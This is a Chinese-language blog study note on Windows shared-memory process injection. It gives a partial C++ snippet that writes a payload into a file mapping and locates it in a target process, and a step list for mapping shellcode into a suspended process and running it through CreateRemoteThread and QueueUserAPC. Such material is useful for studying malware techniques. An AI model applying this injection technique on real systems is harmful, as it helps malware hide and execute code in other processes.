//打開共享內存 HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, section_name); BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size); //寫入payload memcpy(buf + section_size - sizeof(payload), payload, sizeof(payload)); //打開目標進程 HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, process_id);char* read_buf = new char[sizeof(payload)];SIZE_T region_size; //在目標進程中遍歷搜索payload地址 for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size) {MEMORY_BASIC_INFORMATION mem;SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem,sizeof(mem));//查詢地址空間中內存地址的信息if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect== PAGE_READWRITE) && (mem.RegionSize == section_size)){ReadProcessMemory(h, (LPCVOID)(address + section_sizesizeof(payload)), read_buf, sizeof(payload), NULL);if (memcmp(read_buf, payload, sizeof(payload)) == 0){// the payload is at address + section_size - sizeof(payload);…break;}}region_size = mem.RegionSize; }創建共享內存進行注入
首先,使用CreateProcess創建掛起進程
利用了內存映射文件的原理,那么內存映射的一套的流程也基本都用到了,CreateFileMapping創建共享內存的內存映射對象
MapViewOfFile得到該內存空間的映射地址
RtlMoveMemory將shellcode與PE文件信息拷貝到內存映射對象中
ZwMapViewOfSection將內存映射對象與掛起目標進程關聯在一起,這樣目標進程中就存在了shellcode與PE文件
ZwQueryInformationThread獲取目標進程主線程的入口地址
CreateRemoteThread創建一個主線程
最后使用QueueUserAPC向創建的主線程插入一個APC執行shellcode裝載隨后的PE文件
恢復執行
!!!!所有代碼均不是原創,此文只是學習過程進行總結!!!!
總結
- 上一篇: 吴恩达深度学习课程第五章第二周编程作业(
- 下一篇: 2021线报天下 原创工具 (免费版本,